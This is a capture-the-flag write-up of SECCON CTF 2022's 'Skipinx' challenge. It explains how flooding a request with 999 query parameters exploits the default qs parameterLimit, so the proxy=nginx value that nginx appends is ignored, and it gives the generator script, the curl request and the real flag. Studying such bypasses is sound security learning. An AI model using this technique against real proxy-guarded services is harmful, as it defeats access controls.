Berlian Gabriel

SECCON CTF 2022 Skipinx

I solved this challenge when competing with my team Fidethus, under the username berlian_gm. The files can be downloaded here and run locally with Docker.

The Problem

The goal of this challenge, just like the title of the challenge implies, is to bypass the Nginx. Trying to access the port 8080 returns the following:

❯ curl localhost:8080/  
Access here directly, not via nginx :(

After checking nginx/default.conf, we can see that the Nginx append the following parameter: proxy=nginx at the end of the query parameter, before proxying the request to backend server.

server {  
  listen 8080 default_server;  
  server_name nginx;  
  
  location / {  
    set $args "${args}&proxy=nginx";  
    proxy_pass http://web:3000;  
  }  
}

Looking at web/index.js, we can see that the server will only return the flag if there is no term “nginx” in the query parameter. Therefore, to get the flag, we have to somehow eliminate the the term “nginx” that will always be located at the end of the query parameter.

const app = require("express")();  
  
const FLAG = process.env.FLAG ?? "SECCON{dummy}";  
const PORT = 3000;  
  
app.get("/", (req, res) => {  
  req.query.proxy.includes("nginx")  
    ? res.status(400).send("Access here directly, not via nginx :(")  
    : res.send(`Congratz! You got a flag: ${FLAG}`);  
});  
  
app.listen({ port: PORT, host: "0.0.0.0" }, () => {  
  console.log(`Server listening at ${PORT}`);  
});

The Approach

The first thing that came to mind was to create a URL with super long query parameter, such as localhost:8080/?q=111…..111, that will hopefully push out the term “nginx” at the back. However, this approach did not work.

Next, I tried to add this line of code inside the app.get function in web/index.js to view the log:

console.log(req.query);

Sending a request with multiple query parameters will result in some sort of array in the log output. Trying to send request with 1024 parameters like this: localhost:8080/?0=q&1=q&2=q&…..&1023=q will result in Internal Server Error. The log will show the following error message:

...  
  '997': 'q',  
  '998': 'q',  
  '999': 'q'  
}  
TypeError: Cannot read properties of undefined (reading 'includes')  
    at /app/index.js:8:19  
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)  
    at next (/app/node_modules/express/lib/router/route.js:144:13)  
    at Route.dispatch (/app/node_modules/express/lib/router/route.js:114:3)  
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)  
    at /app/node_modules/express/lib/router/index.js:284:15  
    at Function.process_params (/app/node_modules/express/lib/router/index.js:346:12)  
    at next (/app/node_modules/express/lib/router/index.js:280:10)  
    at expressInit (/app/node_modules/express/lib/middleware/init.js:40:5)  
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)

It is very interesting that the array stops at 999, even if we supplied with more parameters. There is also an error from Express that is worth checking.

As we can see from https://expressjs.com/en/api.html#app.set, the extended query parses in Express is based on qs, and uses its default value. We can also see from from https://github.com/ljharb/qs/blob/v6.11.0/lib/parse.js?#L8-L25, the option parameterLimit which specified the maximum number of query parameters has the default value of 1000. These lines of codes from https://github.com/ljharb/qs/blob/v6.11.0/lib/parse.js#L54-L55 indicates that Express will ignore the supplied parameters after the 1000th parameter.

The Solution

We need to create a request that contains 1000 query parameters, with the 1000th parameter being set to “proxy=whatever”. We can use the following python code to generate the query parameters, and then manually append the query parameters to the URL.

for i in range(0, 999):  
    print (str(i)+'=q&',end='')
❯ curl localhost:8080/?0=q&1=q&2=q& ..... &998=q&proxy=whatever  
Congratz! You got a flag: SECCON{dummydummy}

The Real Flag: `SECCON{sometimes_deFault_options_are_useful_to_bypa55}

Conclusion

I think this CTF problem can serve as a good exercise for those who have just started in Web CTF. It provides opportunities to get a hold of how Nginx works and can also demonstrate the importance of understanding the source code of the library that are being used.